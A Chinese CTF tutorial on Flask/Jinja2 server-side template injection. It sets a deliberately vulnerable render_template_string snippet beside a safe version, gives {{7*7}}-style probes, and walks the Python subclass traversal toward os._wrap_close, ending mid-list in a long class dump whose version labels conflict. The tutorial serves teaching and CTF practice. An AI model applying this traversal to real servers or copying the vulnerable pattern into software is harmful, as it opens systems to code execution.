当前位置: 首页 > news >正文

ctfshow-web-SSTI模版注入

https://xz.aliyun.com/t/3679?time__1311=n4%2Bxnii%3DoGqmqDK0QDODlx6e0%3Dbox40KwiAvd4x

ssti漏洞成因

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade  velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。

模板引擎

首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登陆的时候可能会返回 hi,张三。这个时候张三可能就是通过你的身份信息而渲染成html返回到页面。通过Twig php模板引擎来做示例。

$output = $twig->render( $_GET[‘custom_email’] , array(“first_name” => $user.first_name) );

可能你发现了它存在XSS漏洞,直接输入XSS代码便会弹窗,这没错,但是仔细观察,其他由于代码不规范他还存在着更为严重的ssti漏洞,假设我们的url: xx.xx.xx/?custom_email={{7*7}} 将会返回49

继续custom_email={{self}}
返回 f<templatereference none=""></templatereference>

在{{}}里,会将的代码进行了执行。服务器将数据经过引擎解析的时候,进行了执行,模板注入与sql注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。

route装饰器路由

@app.route('/')

使用 route()装饰器告诉Flask什么样的URL能触发函数,.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如

@app.route('/')
def test():
  return 123

访问127.0.0.1:5000/则会输出123,修改一下规则

@app.route('/test')
def test():
  return 123

这个时候访问127.0.0.1:5000/test会输出123,此外还可以设置动态网址。

@app.route("/hello/<username>")
def hello_user(username):
 return "user:%s"%username

或者可以使用int型,转换器有下面几种:

int    接受整数
float    同 int ,但是接受浮点数
path    和默认的相似,但也接受斜线

@app.route('/post/<int:post_id>')
def show_post(post_id):
    # show the post with the given id, the id is an integer
    return 'Post %d' % post_id

补充:main入口

当.py文件被直接运行时,if name == 'main'之下的代码块将被运行;当.py文件以模块形式被导入时,if name ==  'main'之下的代码块不被运行。如果你经常以cmd方式运行自己写的python小脚本,那么不需要这个东西,但是如果需要做一个稍微大一点的python开发,写 if name ==’main__’  是一个良好的习惯,大一点的python脚本要分开几个文件来写,一个文件要使用另一个文件,也就是模块,此时这个if就会起到作用不会运行而是类似于文件包含来使用。

if __name__ == '__main__':
    app.debug = True
    app.run()

测试的时候,我们可以使用debug,方便调试,增加一句
app.debug = True, 或者(效果是一样的), app.run(debug=True)

这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。

在公网上部署:

app.run(host='0.0.0.0')

这会让操作系统监听所有公网 IP,此时便可以在公网上看到自己的web。

模版渲染

简单的模版渲染示例

from flask import render_template

@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
        return render_template('hello.html', name=name)

首先要搞清楚,模板渲染体系,render_template函数渲染的是templates中的模板,所谓模板是我们自己写的html,里面的参数需要我们根据每个用户需求传入动态变量。

├── app.py 
├── static 
│   └── style.css 
└── templates 
    └── index.html

里面有两个参数需要我们渲染,user.name,以及title

我们在app.py文件里进行渲染。

@app.route('/')
@app.route('/index') #我们访问/或者/index都会跳转
def index():
   user = {'name': '小猪佩奇'} #传入一个字典数组
   return render_template("index.html",title='Home',user=user)

flask实战:flask/jinja2模版注入

Flask是一个使用Python编写的轻量级web应用框架,其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。提前给出漏洞代码。访问http://127.0.0.1:5000/test 即可

#有SSTI注入漏洞的代码

@app.route("/test", methods=['GET', 'POST'])
def test():template = '''<div class="center-content error"><h1>Oops! That page doesn't exist.</h1><h3>%s</h3></div>''' % (request.url)return render_template_string(template)if __name__ == '__main__':app.run(debug=True)

flask漏洞成因

为什么说我们上面的代码会有漏洞呢,其实对于代码功底比较深的师傅,是不会存在ssti漏洞的,被一些偷懒的师傅简化了代码,所以造成了ssti。上面的代码我们本可以写成类似如下的形式。

<html><head><title>{{title}} - 小猪佩奇</title></head><body><h1>Hello, {{user.name}}!</h1></body>
</html>

里面有两个参数需要我们渲染,user.name,以及title

我们在app.py文件里进行渲染。

# 正确的没有SSTI注入漏洞的代码

@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
   return render_template("index.html",title='Home',user=request.args.get("key"))

  <h1>Hello, {{user}}!</h1>

也就是说,两种代码的形式是,一种当字符串来渲染并且使用了%(request.url),另一种规范使用index.html渲染文件。我们漏洞代码使用了render_template_string函数,而如果使用render_template函数,将变量传入进去,现在即使写成了request,可以在url里写自己想要的恶意代码{{}},会发现如下:

即使username可控了,但是代码已经并不生效,并不是错了,代码是对的。这里问题出在,良好的代码规范,使得模板其实已经固定了,已经被render_template渲染了。模板渲染其实已经不可控了。而漏洞代码的问题出在这里

def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div>
    ''' %(request.url)

注意%(request.url),程序员因为省事并不会专门写一个html文件,而是直接当字符串来渲染。并且request.url是可控的,这也正是flask在CTF中经常使用的手段,报错404,返回当前错误url,通常CTF的flask如果是ssti,那么八九不离十就是基于这段代码,多的就是一些过滤和一些奇奇怪怪的方法函数。

实战中要测试重点是看一些url的可控,比如url输入什么就输出什么。前期收集好网站的开发语言以及框架,防止错误利用{{}}而导致错误判断。如下图较全的反映了ssti的一些模板渲染引擎及利用。

本地环境分析:

msg = "".__class__
print(msg)

返回了<class 'str'>,对于一个空字符串他已经打印了str类型,在python中,每个类都有一个bases属性,列出其基类。现在我们写代码。

msg = "".__class__.__bases__
print(msg)

打印返回(<class 'object'>,),我们已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mro,mro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro。

print("".__class__.__mro__)

返回了(<class 'str'>, <class 'object'>),同样可以找到object类,正是由于这些但不仅限于这些方法,才有了各种沙箱逃逸的姿势。正如上面的解释,mro返回了解析方法调用的顺序,将会打印两个。在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。

使用subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。(3.11的版本)

print("".__class__.__bases__[0].__subclasses__())

1
<class 'async_generator'>
2
<class 'bytearray_iterator'>
3
<class 'bytearray'>
4
<class 'bytes_iterator'>
5
<class 'bytes'>
6
<class 'builtin_function_or_method'>
7
<class 'callable_iterator'>
8
<class 'PyCapsule'>
9
<class 'cell'>
10
<class 'classmethod_descriptor'>
11
<class 'classmethod'>
12
<class 'code'>
13
<class 'complex'>
14
<class '_contextvars.Token'>
15
<class '_contextvars.ContextVar'>
16
<class '_contextvars.Context'>
17
<class 'coroutine'>
18
<class 'dict_items'>
19
<class 'dict_itemiterator'>
20
<class 'dict_keyiterator'>
21
<class 'dict_valueiterator'>
22
<class 'dict_keys'>
23
<class 'mappingproxy'>
24
<class 'dict_reverseitemiterator'>
25
<class 'dict_reversekeyiterator'>
26
<class 'dict_reversevalueiterator'>
27
<class 'dict_values'>
28
<class 'dict'>
29
<class 'ellipsis'>
30
<class 'enumerate'>
31
<class 'filter'>
32
<class 'float'>
33
<class 'frame'>
34
<class 'frozenset'>
35
<class 'function'>
36
<class 'generator'>
37
<class 'getset_descriptor'>
38
<class 'PyHKEY'>
39
<class 'instancemethod'>
40
<class 'list_iterator'>
41
<class 'list_reverseiterator'>
42
<class 'list'>
43
<class 'longrange_iterator'>
44
<class 'int'>
45
<class 'map'>
46
<class 'member_descriptor'>
47
<class 'memoryview'>
48
<class 'method_descriptor'>
49
<class 'method'>
50
<class 'moduledef'>
51
<class 'module'>
52
<class 'odict_iterator'>
53
<class 'pickle.PickleBuffer'>
54
<class 'property'>
55
<class 'range_iterator'>
56
<class 'range'>
57
<class 'reversed'>
58
<class 'symtable entry'>
59
<class 'iterator'>
60
<class 'set_iterator'>
61
<class 'set'>
62
<class 'slice'>
63
<class 'staticmethod'>
64
<class 'stderrprinter'>
65
<class 'super'>
66
<class 'traceback'>
67
<class 'tuple_iterator'>
68
<class 'tuple'>
69
<class 'str_iterator'>
70
<class 'str'>
71
<class 'wrapper_descriptor'>
72
<class 'zip'>
73
<class 'types.GenericAlias'>
74
<class 'anext_awaitable'>
75
<class 'async_generator_asend'>
76
<class 'async_generator_athrow'>
77
<class 'async_generator_wrapped_value'>
78
<class 'Token.MISSING'>
79
<class 'coroutine_wrapper'>
80
<class 'generic_alias_iterator'>
81
<class 'items'>
82
<class 'keys'>
83
<class 'values'>
84
<class 'hamt_array_node'>
85
<class 'hamt_bitmap_node'>
86
<class 'hamt_collision_node'>
87
<class 'hamt'>
88
<class 'InterpreterID'>
89
<class 'managedbuffer'>
90
<class 'memory_iterator'>
91
<class 'method-wrapper'>
92
<class 'types.SimpleNamespace'>
93
<class 'NoneType'>
94
<class 'NotImplementedType'>
95
<class 'str_ascii_iterator'>
96
<class 'types.UnionType'>
97
<class 'weakref.CallableProxyType'>
98
<class 'weakref.ProxyType'>
99
<class 'weakref.ReferenceType'>
100
<class 'EncodingMap'>
101
<class 'fieldnameiterator'>
102
<class 'formatteriterator'>
103
<class 'BaseException'>
104
<class '_frozen_importlib._ModuleLock'>
105
<class '_frozen_importlib._DummyModuleLock'>
106
<class '_frozen_importlib._ModuleLockManager'>
107
<class '_frozen_importlib.ModuleSpec'>
108
<class '_frozen_importlib.BuiltinImporter'>
109
<class '_frozen_importlib.FrozenImporter'>
110
<class '_frozen_importlib._ImportLockContext'>
111
<class '_thread.lock'>
112
<class '_thread.RLock'>
113
<class '_thread._localdummy'>
114
<class '_thread._local'>
115
<class '_io._IOBase'>
116
<class '_io.IncrementalNewlineDecoder'>
117
<class '_io._BytesIOBuffer'>
118
<class 'nt.ScandirIterator'>
119
<class 'nt.DirEntry'>
120
<class '_frozen_importlib_external.WindowsRegistryFinder'>
121
<class '_frozen_importlib_external._LoaderBasics'>
122
<class '_frozen_importlib_external.FileLoader'>
123
<class '_frozen_importlib_external._NamespacePath'>
124
<class '_frozen_importlib_external.NamespaceLoader'>
125
<class '_frozen_importlib_external.PathFinder'>
126
<class '_frozen_importlib_external.FileFinder'>
127
<class 'codecs.Codec'>
128
<class 'codecs.IncrementalEncoder'>
129
<class 'codecs.IncrementalDecoder'>
130
<class 'codecs.StreamReaderWriter'>
131
<class 'codecs.StreamRecoder'>
132
<class '_abc._abc_data'>
133
<class 'abc.ABC'>
134
<class 'collections.abc.Hashable'>
135
<class 'collections.abc.Awaitable'>
136
<class 'collections.abc.AsyncIterable'>
137
<class 'collections.abc.Iterable'>
138
<class 'collections.abc.Sized'>
139
<class 'collections.abc.Container'>
140
<class 'collections.abc.Callable'>
141
<class '_winapi.Overlapped'>
142
<class 'os._wrap_close'>
143
<class 'os._AddedDllDirectory'>
144
<class '_sitebuiltins.Quitter'>
145
<class '_sitebuiltins._Printer'>
146
<class '_sitebuiltins._Helper'>
147
<class '_multibytecodec.MultibyteCodec'>
148
<class '_multibytecodec.MultibyteIncrementalEncoder'>
149
<class '_multibytecodec.MultibyteIncrementalDecoder'>
150
<class '_multibytecodec.MultibyteStreamReader'>
151
<class '_multibytecodec.MultibyteStreamWriter'>
152
<class '_virtualenv._Finder'>
153
<class '_distutils_hack._TrivialRe'>
154
<class '_distutils_hack.DistutilsMetaFinder'>
155
<class '_distutils_hack.shim'>
156
<class 'types.DynamicClassAttribute'>
157
<class 'types._GeneratorWrapper'>
158
<class 'warnings.WarningMessage'>
159
<class 'warnings.catch_warnings'>
160
<class 'importlib._abc.Loader'>
161
<class 'itertools.accumulate'>
162
<class 'itertools.combinations'>
163
<class 'itertools.combinations_with_replacement'>
164
<class 'itertools.cycle'>
165
<class 'itertools.dropwhile'>
166
<class 'itertools.takewhile'>
167
<class 'itertools.islice'>
168
<class 'itertools.starmap'>
169
<class 'itertools.chain'>
170
<class 'itertools.compress'>
171
<class 'itertools.filterfalse'>
172
<class 'itertools.count'>
173
<class 'itertools.zip_longest'>
174
<class 'itertools.pairwise'>
175
<class 'itertools.permutations'>
176
<class 'itertools.product'>
177
<class 'itertools.repeat'>
178
<class 'itertools.groupby'>
179
<class 'itertools._grouper'>
180
<class 'itertools._tee'>
181
<class 'itertools._tee_dataobject'>
182
<class 'operator.attrgetter'>
183
<class 'operator.itemgetter'>
184
<class 'operator.methodcaller'>
185
<class 'reprlib.Repr'>
186
<class 'collections.deque'>
187
<class '_collections._deque_iterator'>
188
<class '_collections._deque_reverse_iterator'>
189
<class '_collections._tuplegetter'>
190
<class 'collections._Link'>
191
<class 'functools.partial'>
192
<class 'functools._lru_cache_wrapper'>
193
<class 'functools.KeyWrapper'>
194
<class 'functools._lru_list_elem'>
195
<class 'functools.partial'>
196
<class 'functools.partialmethod'>
197
<class 'functools.singledispatchmethod'>
198
<class 'functools.cached_property'>
199
<class 'contextlib.ContextDecorator'>
200
<class 'contextlib.AsyncContextDecorator'>
201
<class 'contextlib._GeneratorContextManagerBase'>
202
<class 'contextlib._BaseExitStack'>
203

python 3.6 版本下的object类下的方法集合。2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。需要自己寻找合适的标号来调用。

2.7版本的object类下的方法集合

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'enum.auto'>, <enum 'Enum'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_winapi.Overlapped'>, <class 'subprocess.STARTUPINFO'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

python3.9

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, 

 <class 'os._wrap_close'>,(133)  

 <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '__future__._Feature'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, 

 <class 'operator.methodcaller'>, 

 <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'array.array'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'ast.AST'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.datastructures.mixins.ImmutableListMixin'>, <class 'werkzeug.datastructures.mixins.ImmutableHeadersMixin'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.datastructures.auth.Authorization'>, <class 'werkzeug.datastructures.auth.WWWAuthenticate'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'werkzeug.datastructures.headers.Headers'>, <class 'werkzeug.datastructures.file_storage.FileStorage'>, <class 'werkzeug.datastructures.range.IfRange'>, <class 'werkzeug.datastructures.range.Range'>, <class 'werkzeug.datastructures.range.ContentRange'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 